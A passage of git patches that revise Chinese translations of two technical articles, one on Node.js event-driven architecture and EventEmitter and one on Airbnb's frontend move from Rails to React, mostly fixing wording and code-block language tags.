   async execute(asyncFunc, ...args) {
     this.emit('begin');
@@ -340,13 +340,13 @@ class WithTime extends EventEmitter {
 
 错误的事件使用了错误对象，data事件使用了data对象
 
-```
+```js
 this.emit('error', err);
 ```
 
 The data event is emitted with a data object.
 
-```
+```js
 this.emit('data', data);
 ```
 
@@ -354,7 +354,7 @@ this.emit('data', data);
 
 例如：data事件执行的时候，listener函数在注册的时候就会允许我们的接纳事件发射的data参数，而asyncFunc函数也实实在在暴露给了我们。
 
-```
+```js
 withTime.on('data', (data) => {
   // do something with data
 });
@@ -364,7 +364,7 @@ error事件也是同样是典型的一个。在我们基于callback的例子中
 
 我们写个例子来展示这一点：
 
-```
+```js
 class WithTime extends EventEmitter {
   execute(asyncFunc, ...args) {
     console.time('execute');
@@ -386,7 +386,7 @@ withTime.execute(fs.readFile, __filename);
 
 The first execute call above will trigger an error. The node process is going to crash and exit:
 
-```
+```bash
 events.js:163
       throw er; // Unhandled 'error' event
       ^
@@ -398,7 +398,7 @@ Error: ENOENT: no such file or directory, open ''
 
 如果我们注册一个listener来处理它，情况就不一样了：
 
-```
+```js
 withTime.on('error', (err) => {
   // do something with err, for example log it somewhere
   console.log(err)
@@ -407,14 +407,14 @@ withTime.on('error', (err) => {
 
 If we do the above, the error from the first execute call will be reported but the node process will not crash and exit. The other execute call will finish normally:
 
-```
+```bash
 { Error: ENOENT: no such file or directory, open '' errno: -2, code: 'ENOENT', syscall: 'open', path: '' }
 execute: 4.276ms
 ```
 
 记住：Node目前的表现和Promise不同 ：只是输出警告，但最终会改变：
 
-```
+```bash
 UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1): Error: ENOENT: no such file or directory, open ''
 
 DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
@@ -424,7 +424,7 @@ DeprecationWarning: Unhandled promise rejections are deprecated. In the future,
 
 标准的关于uncaughtException的建议是不要使用他，你一定要用的话，应该让进程在此结束：
 
-```
+```js
 process.on('uncaughtException', (err) => {
   // something went unhandled.
   // Do any cleanup and exit anyway!
@@ -443,7 +443,8 @@ EventEmitter模块暴露一个once方法。这种方法只需要调用一次监
 #### Order of Listeners ####
 
 如果我们在一个事件上注册多个队列，并且期望这些listener是有顺序的，会按顺序来调用
-```
+
+```js
 // प्रथम
 withTime.on('data', (data) => {
   console.log(`Length: ${data.length}`);
@@ -461,7 +462,7 @@ withTime.execute(fs.readFile, __filename);
 
 如果你想定义一个Listener,还想插队到前面的话，要使用prependListener方法来注册
 
-```
+```js
 // प्रथम
 withTime.on('data', (data) => {
   console.log(`Length: ${data.length}`);

From 341476b69293962b6e5e169e24fc4105f7039ffb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Tue, 30 May 2017 01:17:03 +0800
Subject: [PATCH 551/638] fix

---
 ...nding-node-js-event-driven-architecture.md | 68 +++++++++----------
 1 file changed, 34 insertions(+), 34 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 8d71687cd59..4052c95af81 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -8,23 +8,23 @@
 
 ![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)
 
-对于绝大部分的nodejs中的对象，比如HTTP请求、响应以及”流“,他们都是使用了 `eventEmitter` 模块的支持来监听和发射事件。
+对于绝大部分的nodejs中的对象，比如HTTP请求、响应以及”流“,他们都是使用了 `eventEmitter` 模块的支持来监听和触发事件。
 
 ![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)
 
-事件驱动最简单的形式是流行的nodejs函数回调风格，例如：`fs.readFile`。在这个类比模型中，callback 扮演着事件处理者的角色，当 Node 准备好调用 callback 的时候：事件将会被发射一次。
+事件驱动最简单的形式是常见的 Nodejs 函数回调风格，例如：`fs.readFile`。在这个类比模型中，callback 扮演着事件处理者的角色，当 Node 准备好调用 callback 的时候：事件将会被触发一次。
 
 让我们来探究一下这个基础形式。
 
 #### Node,在你准备好的时候调用我吧！ ####
 
-在很久以前，没有原生的 promise、async/await 特性支持，Node 最原始的处理异步的方式是使用 callback。
+以前没有原生的 promise、async/await 特性支持，Node 最原始的处理异步的方式是使用 callback。
 
 callback 函数从本质上讲就是作为参数传递给其他函数的函数，在JS中这是可能的，因为函数是一等公民。
 
-callback 函数并不必要异步调用，这一点非常重要。在函数中，我们可以随心所欲的同步/异步调用callback。
+callback 函数并不必要异步调用，这一点非常重要。在函数中，我们可以随心所欲的同步/异步调用 callback。
 
-例如,在下面这种情况中，主函数 `fileSize` 包含一个回调函数 `cb`，并且会在同步和异步的情况下调用这个回调函数：
+例如，在下面例子中，主函数 `fileSize` 接收一个回调函数 `cb` 为参数，根据不同情况以同步/异步方式调用 `cb`：
 
 ```js
 function fileSize (fileName, cb) {
@@ -40,7 +40,7 @@ function fileSize (fileName, cb) {
 }
 ```
 
-请注意，这种把主函数在处理 callback 的时候同时采用同步和异步的方式并不是一个好的实践，它也许会带来一些预期外的错误。
+请注意，这并不是一个好的实践，它也许会带来一些预期外的错误。最好能够保持一致--都是同步，或都是异步。
 
 我们再来看看下面这种典型的用 callback 风格处理的异步 Node 函数：
 
@@ -82,13 +82,13 @@ readFileAsArray('./numbers.txt', (err, lines) => {
 });
 ```
 
-代码会读取数组中的字符串内容，解析成数字并统计奇数个数。
+这段代码会读取数组中的字符串内容，解析成数字并统计奇数个数。
 
-在 NodeJS 的回调风格中的写法是这样的：第一个参数err代表着错误处理，当是 `null` 的时候我们就是正常调用 callback,用户和作者都习惯了这样写，主函数接受 callback 作为最后一个参数并且调用的时候给 callback 第一个参数传递 err 对象。
+在 NodeJS 的回调风格中的写法是这样的：第一个参数err代表着错误对象，当是 `null` 的时候我们就是正常调用 callback,用户和作者都习惯了这样写，主函数接受 callback 作为最后一个参数并且调用的时候给 callback 第一个参数传递 err 对象。
 
 #### The modern JavaScript alternative to Callbacks ####
 
-在高版本的 JS 中，我们有 Promise 对象，作为 callback 的有力竞争者，它的异步API替代了把 callback 作为一个参数传递并且同时处理错误信息，一个 Promise 对象允许我们分别处理成功和失败两种情况，并且链式的调用多个异步方法避免了回调地狱。
+在 ES6+ 中，我们有了 Promise 对象。作为 callback 的有力竞争者，它的异步 API 替代了把 callback 作为一个参数传递并且同时处理错误信息，一个 Promise 对象允许我们分别处理成功和失败两种情况，并且链式的调用多个异步方法避免了回调的嵌套（callback hell，回调地狱）。
 
 如果刚刚的 `readFileAsArray` 方法允许使用 Promise，它的调用将是这个样子的：
 
@@ -123,11 +123,11 @@ const readFileAsArray = function(file, cb = () => {}) {
 };
 ```
 
-现在这个函数返回了一个Promise对象，这里面包含着`fs.readFile`这个异步调用，Promise对象中同时包含一个 resolve 函数和 reject 函数。
+现在这个函数返回了一个Promise对象，这里面包含着 `fs.readFile` 这个异步调用，Promise对象中同时包含一个 resolve 函数和 reject 函数。
 
 reject 函数的作用就和我们之前 callback 中处理错误是一样的，而 resolve 函数也就和我们正常处理返回值是一样的。
 
-我们剩下唯一要做的就是在实例中制定一个 reject resolve 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如\(\) =&gt; {}.
+我们剩下唯一要做的就是在实例中指定 reject resolve 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `(\) => {}`.
 
 #### Consuming promises with async/await ####
 
@@ -152,24 +152,24 @@ async function countOdd () {
 countOdd();
 ```
 
-首先我们创建了一个 `async` 函数，只是在定义 functiond 的时候前面加了 `async` 关键字，在 `async` 函数里，我们把 `readFileAsArray` 这个异步方法用 `await` 来作为一个普通变量，这样我们的代码看起来真的是同步的呢！
+首先我们创建了一个 `async` 函数，只是在定义 function 的时候前面加了 `async` 关键字，在 `async` 函数里，我们把 `readFileAsArray` 这个异步方法用 `await` 来作为一个普通变量，这样我们的代码看起来真的是同步的呢！
 
 当 `async` 函数执行的过程是非常易读的，处理错误，我们只需要使用 `try/catch` 即可。
 
-在 `async/await` 函数中我们没有使用特殊API\(像: .then and .catch这种\)，我们仅仅使用了特殊关键字，但是像普通函数那样coding.
+在 `async/await` 函数中我们没有使用特殊 API（像: .then and .catch这种\），我们仅仅使用了特殊关键字，但是像普通函数那样coding.
 
-我们可以在支持Promise的函数中嵌套async/await函数，但是不能在callback风格的异步方法中使用它，比如setTimeout等等。
+我们可以在支持 Promise 的函数中嵌套 `async/await` 函数，但是不能在 callback 风格的异步方法中使用它，比如 `setTimeout` 等等。
 
 ### The EventEmitter Module ###
 
-EventEmitter是NodeJS中基于事件驱动的架构的核心，它是促进了各个对象之间交流的模块，很多nodejs的原生模块都使用了这个模块。
+EventEmitter 是 NodeJS 中基于事件驱动的架构的核心，它用于各个对象之间通信，很多 Nodejs 的原生模块都使用了这个模块。
 
-关于概念这一块很简单，Emitter对象emit命名好的事件，使得之前注册好的监听器被调用起来，Emitter对象有两个显著特点：
+关于概念这一块很简单，Emitter 对象 emit 命名好的事件，使得之前注册好的监听器被调用起来，Emitter 对象有两个显著特点：
 
-* emit注册好的事件
-* 注册和取消注册listener方法
+* emit 注册好的事件
+* 注册和取消注册 listener 方法
 
-如何使用呢？我们只需要穿件一个类来继承EventEmitter即可：
+如何使用呢？我们只需要创建一个类来继承 EventEmitter 即可：
 
 ```js
 class MyEmitter extends EventEmitter {
@@ -177,21 +177,21 @@ class MyEmitter extends EventEmitter {
 }
 ```
 
-Emitter objects are what we instantiate from the EventEmitter-based classes:
+然后我们创建一个基于 `EventEmitter` 的实例：
 
 ```js
 const myEmitter = new MyEmitter();
 ```
 
-有了实例，就可以在实例的全部生命周期里，emit任何我们命名好的方法了。
+有了实例，就可以在实例的全部生命周期里，emit 任何我们命名好的方法了。
 
 ```js
 myEmitter.emit('something-happened');
 ```
 
-emit一个事件就代表着有些情况的发生，这些情况通常是关于Emitter对象的状态改变的。
+emit 一个事件就代表着有些情况的发生，这些情况通常是关于 Emitter 对象的状态改变的。
 
-我们使用on方法来注册，然后这些监听的方法将会在每一个Emitter对象emit的时候执行。
+我们使用on方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 的时候执行。
 
 #### Events !== Asynchrony ####
 
@@ -218,7 +218,7 @@ withLog.on('end', () => console.log('Done with execute'));
 withLog.execute(() => console.log('*** Executing task ***'));
 ```
 
-定义的WithLog类是一个event emitter.它有个方法excutej接受一个参数，并且有很多执行顺序的输出log,并且分别在开始和结束的时候emit了两次。
+定义的 WithLog 类是一个 event emitter。它有个方法excute接收一个参数，并且有很多执行顺序的输出log，并且分别在开始和结束的时候emit了两次。
 
 让我们来看看运行它会有什么样的结果：
 
@@ -238,11 +238,11 @@ After executing
 * 另一个命名事件输出“Done with execute”
 * 最后“After executing”
 
-就像之前的callback,我们在events中并没有假设同步或者异步的代码
+如同之前的 callback，events 并不意味着同步或者异步。
 
-这一点很重要，假如我们有异步代码，那么很多结果就会迥然不同。
+这一点很重要，假如我们有给 `excute` 传递一个异步 `taskFunc` 函数，事件的触发就不再精确了。
 
-We can simulate the case with a `setImmediate` call:
+可以使用 `setImmediate` 来模拟这种情况：
 
 ```js
 // ...
@@ -254,7 +254,7 @@ withLog.execute(() => {
 });
 ```
 
-Now the output would be:
+会输出：
 
 ```
 Before executing
@@ -264,11 +264,11 @@ After executing
 *** Executing task ***
 ```
 
-这明显有问题，它的输出看起来不再精确了。
+这明显有问题，异步调用之后不再精确，“Done with execute” 、 “After executing” 出现在了 “\*\*\* Executing task \*\*\*”之前（应该在后）。
 
-当异步方法结束的时候emit一个事件,我们需要把callback/promise与合并事件驱动的交流合并起来，刚刚的例子证明了这一点。
+当异步方法结束的时候 emit 一个事件,我们需要把 callback/promise 与事件通信结合起来，刚刚的例子证明了这一点。
 
-使用事件驱动来代替传统callback有一个好处是在定义多个listener后，我们可以多次对同一个emit做出反应。如果要用callback来做到这一点的话，我们需要些很多的逻辑在同一个callback中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许围绕状态变化来做更多自定义的事。
+使用事件驱动来代替传统 callback 有一个好处是：在定义多个 listener 后，我们可以多次对同一个 emit 做出反应。如果要用 callback 来做到这一点的话，我们需要些很多的逻辑在同一个 callback 中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许围绕状态变化来做更多自定义的事。
 
 #### Asynchronous Events ####
 
@@ -303,7 +303,7 @@ withTime.execute(fs.readFile, __filename);
 ```
 
 
-执行WithTime类的asyncFunc方法，使用console.time和console.timeEnd来返回执行的时间，他emit了正确的序列在执行之前和之后，同样emit  error/data来保证函数的正常工作。
+执行 WithTime 类的 asyncFunc 方法，使用 console.time 和 console.timeEnd 来返回执行的时间，他 emit 了正确的序列在执行之前和之后，同样 emit error/data 来保证函数的正常工作。
 
 执行之后的结果如下，正如我们期待的正确事件序列，我们得到了执行的时间，这是很有用的：
 
@@ -313,7 +313,7 @@ execute: 4.507ms
 Done with execute
 ```
 
-请注意，我们如何结合一个callback在事件发射器上完成它，如果asynFunc同样支持Promise的话，我们可以使用async/await特性来做到同样的事情：
+请注意，我们如何结合一个 callback 在事件发射器上完成它，如果 asynFunc 同样支持 Promise 的话，我们可以使用 async/await 特性来做到同样的事情：
 
 ```js
 class WithTime extends EventEmitter {
@@ -338,7 +338,7 @@ class WithTime extends EventEmitter {
 
 在之前的例子中，我们使用了额外的参数来发射两个事件。
 
-错误的事件使用了错误对象，data事件使用了data对象
+错误的事件使用了错误对象，data 事件使用了 data 对象
 
 ```js
 this.emit('error', err);

From f36db67431cc7730fbca79c136bd81973afd8c11 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinlei@gpdata.cn>
Date: Wed, 31 May 2017 10:24:47 +0800
Subject: [PATCH 552/638] =?UTF-8?q?=E8=B7=9F=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/rearchitecting-airbnbs-frontend.md | 78 ++++++++++++-------------
 1 file changed, 38 insertions(+), 40 deletions(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index ea1bb372163..afc24e784ab 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -6,18 +6,18 @@
 
 # Airbnb 的前端重构 #
 
-概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 部分的架构。本文将讨论：（1）催生一些变化的产品驱动因素，（2）我们如何一步步摆脱遗留的 Rails 解决方案，（3）一些新技术栈的关键性支柱。彩蛋：我们将讨论接下来要做的事。
+概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 部分的架构。本文将讨论：（1）催生一些变化的产品驱动因素，（2）我们如何一步步摆脱遗留的 Rails 解决方案，（3）一些新技术栈的关键性支柱。彩蛋：我们将透露一下未来的发展方向。
 
 
-Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们流量最高的页面。近十年来，工程师们一直在发展、加强、和优化 Rails 输出页面的方式。
+Airbnb 每天处理超过 7500 万次搜索，这使得搜索页面成为我们流量最高的页面。近十年来，工程师们一直在发展、加强和优化 Rails 输出页面的方式。
 
 最近，我们转移到了主页以外的垂直页面，[来介绍一些体验和去处](https://www.airbnb.com/new)。作为 web 端新增产品的一部分，我们花时间重新思考了搜索体验本身。
 
 ![](https://cdn-images-1.medium.com/max/800/1*VMRwDmHVeYC3YnJhhtKn4Q.gif)
 
-用于一个广泛搜索的路由间的过渡
+在一个用于宽泛搜索的路由之间过渡
 
-为了使用户体验流畅，我们选择调整用户浏览页面和缩小搜索范围的交互方式，而不再采用以前那样的多页交互方式：（1）首先访问着落页 [www.airbnb.com](http://www.airbnb.com)，（2）接着进入搜索结果页，（3）随后访问某个列表页，（4）最后进入预订流程。**每个页面都是一个独立的 Rails 页面**。
+为了使用户体验流畅，我们选择调整用户浏览页面和缩小搜索范围的交互方式，而不再采用以前那样的多页交互方式：（1）首先访问着陆页 [www.airbnb.com](http://www.airbnb.com)，（2）接着进入搜索结果页，（3）随后访问某个列表页，（4）最后进入预订流程。**每个页面都是一个独立的 Rails 页面**。
 
 ![](https://cdn-images-1.medium.com/max/800/1*epBwi0kxrcW5a6Wv-T4rSg.gif)
 
@@ -30,17 +30,17 @@ Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们
 
 会考虑将来在切换标签页时，异步加载相应内容
 
-为了实现这种体验，我们需要摆脱传统的页面切换方法，最终我们兴奋地全面重构了前端代码。
+为了实现这种体验，我们需要摆脱传统的页面切换方法，最终我们只好全面重构了前端代码。
 
-[Leland Richardson](https://medium.com/@intelligibabble) [最近在 React Conf 大会上发表了演讲，称 React Native 如今正处于和现有的高访问量原生应用共存的“褐色地带”。](https://www.youtube.com/watch?v=tWitQoPgs8w)这篇文章将会探讨如何在类似的限制条件下进行 web 端重构。希望你在遇到类似情况时，这篇文章对你有所帮助。
+[Leland Richardson](https://medium.com/@intelligibabble) [最近在 React Conf 大会上发表了演讲，称 React Native 如今正处于和现有的高访问量原生应用共存的“褐色地带”](https://www.youtube.com/watch?v=tWitQoPgs8w)这篇文章将会探讨如何在类似的限制条件下进行 web 端重构。希望你在遇到类似情况时，这篇文章对你有所帮助。
 
 ### 从 Rails 之中解脱 ###
 
-在我们的烧烤开火之前，因为我们的线路图上存在所有有趣的[渐进式 web 应用](https://developers.google.com/web/progressive-web-apps/)（WPA）,我们需要从 Rails 中解脱出来（或者至少在 Airbnb 用 Rails 提供单独页面的这种方式）。
+在我们的烧烤开火之前，因为我们的线路图上存在所有有趣的[渐进式 web 应用](https://developers.google.com/web/progressive-web-apps/)（WPA），我们需要从 Rails 中解脱出来（或者至少在 Airbnb 用 Rails 提供单独页面的这种方式）。
 
 不幸的是，就在几个月前，我们的搜索页还包含一些非常老旧的代码，像指环王一样，触碰它就要小心自负后果。有趣的事实：我曾尝试用一个简单的 React 组件来替换基于 Rails presenter 的 [Handlebars](http://handlebarsjs.com/) 模板，突然很多完全不相关的部分都崩掉了 —— 甚至 API 响应都出了问题。原来，presenter 改变了底层 Rails 模型，多年来即使在 UI 没有渲染的时候，它也影响着所有的下游数据。
 
-简而言之，我们在这个项目中，像 Indiana Jone 用自己的宝物交换了一袋沙子，突然间庙宇开始崩塌，我们正在从石块中奔跑。
+简而言之，我们在这个项目中，就好像 Indiana Jone 用一袋沙子替换了宝物，突然间庙宇开始崩塌，我们正在从石块中奔跑。
 
 
 
@@ -50,19 +50,19 @@ Airbnb 每天接收超过 7500 万次搜索，这使得搜索页面成为我们
 
 但一旦你想渲染客户端路由，你需要能够以预定的形式动态请求所需的数据。将来我们可能用类似 [GraphQL](http://graphql.org/) 的东西解决这个问题，但是现在暂且把它放到一边吧，因为这件事和重构代码没太大关系。相反，我们选择在我们的 API 的 “v2” 上进行调整，我们需要我们所有的组件来开始处理规范的数据格式。
 
-如果你发现你自己和我们情况类似并且是一个大型的应用，你可能发现我们像我们这样做，规划迁移现有的服务器端数据管道是很容易的。简单地在任何地方用 Rails 渲染一个React组件，并确保数据输入是 API 所规定的类型。你可以用客户端的 React PropTypes 来进一步验证数据类型是否与 API v2 一致。
+如果你自己和我们处在类似的情况中，在维护一个大型的应用，你可能发现我们像我们这样做，规划迁移现有的服务器端数据管道是很容易的。只需在任何地方用 Rails 渲染一个React组件，并确保数据输入是 API 所规定的类型。你可以用客户端的 React PropTypes 来进一步验证数据类型是否与 API v2 一致。
 
-对我们来说棘手的问题是和那些参与客户预定流程交互的团队协作：商业旅游、发展、度假租赁团队；中国和印度市场团队，灾难恢复团队...等等，我们需要重新培训所有这些人，即使在技术上可以将数据直接传递到正在呈现的组件上("是的，我明白，这仅仅是一种实验，但是...")，所有的数据都要通过 API。
+对我们来说棘手的问题是和那些参与客户预定流程交互的团队协作：商业旅游、发展、度假租赁团队；中国和印度市场团队，灾难恢复团队等等，我们需要重新培训所有这些人，即使在技术上可以将数据直接传递到正在呈现的组件上("是的，我明白，这仅仅是一种实验，但是...")，**所有的数据**都要通过 API。
 
-#### 第 2 步： 非 API 数据: 配置、试验、惯用语、本地化、 国际化… ####
+#### 第 2 步： 非 API 数据: 配置、试验、惯用语、本地化、国际化… ####
 
-有一类独特的数据和我们设想的 API 化的数据不同，包括应用配置，用户试验任务，国际化，本地化等等类似的问题。近年来，Airbnb 已经建立了一套难以置信的工具来支持这些功能，但是把这些数据传送到前端的机制就不那么令人愉快了（在革命开始之前，或许就已经很蹩脚了！）。
+有一类独特的数据和我们设想的 API 化的数据不同，包括应用配置，用户试验任务，国际化，本地化等等类似的问题。近年来，Airbnb 已经建立了一套很棒的工具来支持这些功能，但是把这些数据传送到前端的机制就不那么令人愉快了（在革命开始之前，或许就已经很蹩脚了！）。
 
-我们使用 [Hypernova](https://www.npmjs.com/package/hypernova) 来服务端渲染 React，但是在我们此次重构深入之前，无论服务端渲染时 React 组件中的试验交付会不会爆发或者客户端上提供的字符串转换是否都可以在服务器上可靠地使用，这些都还有点模糊。最重要的是，如果服务器和客户端输出匹配不到位，页面不仅会不断闪烁刷新 diff，还可以在加载后重新渲染整个页面，这对于性能来说很可怕。
+我们使用 [Hypernova](https://www.npmjs.com/package/hypernova)  在服务端渲染渲染 React，但是在我们此次重构深入之前，无论服务端渲染时 React 组件中的试验交付会不会爆发或者客户端上提供的字符串转换是否都可以在服务器上可靠地使用，这些都还有点模糊。最重要的是，如果服务器和客户端输出匹配不到位，页面不仅会不断闪烁刷新 diff，还会在加载后重新渲染整个页面，这对于性能来说很可怕。
 
-更糟糕的是，我们有很久以前写过一些神奇的 Rails 功能，比如 `add_bootstrap_data(key, value)` 表面上可以在 Rails 中的任何地方调用，通过 `BootstrapData.get(key)` 使数据在客户端的全局可用（再次强调，对 Hypernova 来说已经不必要了）。这作为小团队的一个实用程序开始成为对大团队和应用来说不可溯源的巫术。由于每个团队拥有不同的页面或功能，因此“数据清洗”变得越来越棘手，因此每个团队都会培养出一种不同的加载配置的机制，以满足其独特需求。
+更糟糕的是，我们有很久以前写过一些神奇的 Rails 功能，比如 `add_bootstrap_data(key, value)` 表面上可以在 Rails 中的任何地方调用，通过 `BootstrapData.get(key)` 使数据在客户端的全局可用（再次强调，对 Hypernova 来说已经不必要了）。曾经这些小工具对小团队来说很实用，但如今随着团队规模扩大，应用规模扩张，这些小工具反而变成了累赘。由于每个团队拥有不同的页面或功能，因此“数据清洗”变得越来越棘手，因此每个团队都会培养出一种不同的加载配置的机制，以满足其独特需求。
 
-显然，这已经崩溃了，所以我们融合了一个用于引导非 API 数据的规范机制，我们开始将所有应用程序和页面迁移到 Rails 和 React/Hypernova 之间的这种切换。
+显然， 这套机制已经崩溃了，所以我们融合了一个用于引导非 API 数据的规范机制，我们开始将所有应用程序和页面迁移到 Rails 和 React/Hypernova 之间的这种切换。
 
 ```
 import React, { PropTypes } from 'react';
@@ -144,10 +144,8 @@ function withHypernovaBootstrap(App) {
     }
 
     render() {
-      // 理想情况下，我们只想传输 bootstrapData
-      // 如果你有从 redux 或 alt 数据 从服务端到 bootstrap
-      // 你当然可以只传输一个在 bootstrapData 中的 key
-      // 其他属性被处理但是不会传入应用
+      // 理想情况下，我们只想通过 bootstrapData 传输数据 
+      // 如果你使用 redux 或从服务端转换数据到 bootstrap，你其实可以将数据当作一个键值(key)传入 bootstrapData，其他属性被使用但是不会传入 app 。
       return <App bootstrapData={this.props.bootstrapData} />;
     }
   }
@@ -166,10 +164,10 @@ export default compose(withPhrases, withHypernovaBootstrap);
 用于引导非 API 数据规范的更高阶的组件
 
 
-这个更高阶的组件做了两件更重要的事情：
+这个非常高阶的组件做了两件更重要的事情：
 
 1. 它接收一个引导数据作为普通的旧对象的规范形式，并且正确地初始化所有支持的工具，用于服务器渲染和客户端渲染。
-2. 它吞噬除了一切除了 `bootstrapData` ，它是另一个简单的对象，必要时把 `<App>` 组件传入 Redux 作为 children 使用。
+2. 它吞噬除了 `bootstrapData` 的一切 ，它是另一个简单的对象，必要时把 `<App>` 组件传入 Redux 作为 children 使用。
 
 单纯来看，我们删除了 `add_bootstrap_data`，并阻止工程师将任意键传递到顶级的 React 组件。秩序被重新恢复，以前我们在客户端中动态地导航到路由，并且渲染材料复杂的 content，而不需要Rails来支持它。
 
@@ -183,11 +181,11 @@ export default compose(withPhrases, withHypernovaBootstrap);
 
 ![](https://cdn-images-1.medium.com/max/800/1*O2fK16vfyWaDT-IR61drPw.png)
 
-在 chrome Timeline 中 route 包的懒加载
+在 Chrome Timeline 中 route 包的懒加载
 
-但是，如果你看到上面的内容，你就会发现[代码分割](https://webpack.github.io/docs/code-splitting.html)和[延迟加载](https://webpack.js.org/guides/lazy-load-react/)捆绑路由的影响。实质上，我们是在服务端渲染的页面并且仅仅传输最低限度的一部分用于在浏览器端交互的 Javascript 代码，然后我们利用浏览器的空余时间主动下载其余部分。
+但是，再看看上文，你就会发现路由对[代码分割](https://webpack.github.io/docs/code-splitting.html)和[延迟加载](https://webpack.js.org/guides/lazy-load-react/)进行捆绑造成的影响。实质上，我们在服务端渲染页面并且仅仅传输最低限度的一部分用于在浏览器端交互的 Javascript 代码，然后我们利用浏览器的空余时间主动下载其余部分。
 
-在 Rails 端，我们有一个 controller 用于通过 SPA 交付的所有路由。每一个 action 只负责：（1）出发客户端导航中的一切请求，（2）将数据和配置引导到 Hypernova。我们把每个 action （controller、helpers 和 presenters 之间）上千行的 Ruby 代码缩减到 20-30 行。实力碾压。
+在 Rails 端，我们有一个 controller 用于通过 SPA 交付的所有路由。每一个 action 只负责：（1）触发客户端导航中的一切请求，（2）将数据和配置引导到 Hypernova。我们把每个 action （controller、helpers 和 presenters 之间）都有上千行的 Ruby 代码缩减到 20-30 行。实力碾压。
 
 但这不仅仅是代码的不同...
 
@@ -199,7 +197,7 @@ export default compose(withPhrases, withHypernovaBootstrap);
 
 #### 异步组件 ####
 
-之前的 React ，我们需要一次渲染整个页面，我们以前的 React 都是这么做的。但现在我们使用异步组件，类似[这种](https://medium.com/@thejameskyle/react-loadable-2674c59de178)方式， mount 以后加载组件层次结构的部分。
+在（采用）React 之前，我们需要一次渲染整个页面，我们以前的 React 都是这么做的。但现在我们使用异步组件，类似[这种](https://medium.com/@thejameskyle/react-loadable-2674c59de178)方式， 挂在（mount）以后加载组件层次结构的部分。
 
 ```
 export default class AsyncComponent extends React.Component {
@@ -241,7 +239,7 @@ AsyncComponent.propTypes = {
 };
 ```
 
-这对于最初不可见的重量级元素尤其有用，比如 Modals 和 Panels。我们的明确目标是精确地提供初始化页面可见部分所需的 所需的 JavaScript，并使其可交互，而不只一行。这也意味着如果，比方说团队想使用 D3 用于页面弹窗的一个图表，而其他部分不使用 D3，这时候他们就可以权衡一下下载仓库的代码，可以把他们的弹窗代码和其他代码隔离出来。
+这对于最初不可见的重量级元素尤其有用，比如 Modals 和 Panels。我们的明确目标是一行也不多地提供初始化页面可见部分所需的 JavaScript，并使其可交互。这也意味着如果，比方说团队想使用 D3 用于页面弹窗的一个图表，而其他部分不使用 D3，这时候他们就可以权衡一下下载仓库的代码，可以把他们的弹窗代码和其他代码隔离出来。
 
 最重要的是，它可以简单地在任何需要的地方使用：
 
@@ -269,16 +267,16 @@ export default function MapAsync(props) {
 view raw
 ```
 
-这里我们可以简单地把我们的同步版本的地图换成异步版本，这在小断点上特别有用，用户通过点击按钮显示地图。考虑到大多数用户用手机，在担心 Google 地图之前，让他们进入互动这样会缩短加载时的焦虑感。
+这里我们可以简单地把我们的同步版本的地图换成异步版本，这在小断点上特别有用，用户通过点击按钮显示地图。考虑到大多数用户用手机，在担心 Google 地图之前，让他们进入互动会缩短加载时的焦虑感。
 
 
-另外，注意 `scheduleAsyncLoad()` 的效率，在用户交互之前就要请求包。考虑到地图如此频繁的使用，我们不需要等待用户交互就去请求它。而是在用户进入主页和搜索页的时候就把它加入队列，如果用户在下载完成之前就请求了它，他们会看到一个 `<Loader />` 直到组件可用。没毛病。
+另外，注意 `scheduleAsyncLoad()` 组件，在用户交互之前就要请求包。考虑到地图如此频繁地被使用，我们不需要等待用户交互才去请求它。而是在用户进入主页和搜索页的时候就把它加入队列，如果用户在下载完成之前就请求了它，他们会看到一个 `<Loader />` 直到组件可用。没毛病。
 
 这种方法的最后一个好处是 `HomesSearch_Map` 成为浏览器可以缓存的命名包。当我们分解较大的基于路由的捆绑包时，应用程序中 slowly-changing 的部分在更新时保持不变，从而进一步节省了 JavaScript 下载时间。
 
 #### 构建无障碍的设计语言 ####
 
-毫无疑问，它保证的是一个专有的需求，但是我们已经开始构建内部组件库，其中辅助功能被强制为一个严格的约束。在接下来的几个月中，我们将替换所有与屏幕阅读器不兼容的 UI。
+毫无疑问，它保证的是一个专有的需求，但是我们已经开始构建内部组件库，其中辅助功能被强制为一个严格的约束。在接下来的几个月中，我们将替换所有与屏幕阅读器不兼容的横跨客流的 UI 界面。
 
 ```
 import React, { PropTypes } from 'react';
@@ -365,9 +363,9 @@ RoomTypeFilter.propTypes = propTypes;
 RoomTypeFilter.defaultProps = defaultProps;
 ```
 
-通过我们的设计语言系统加入的无障碍设计到产品的例子
+通过我们的设计语言系统将无障碍设计加入到产品的例子
 
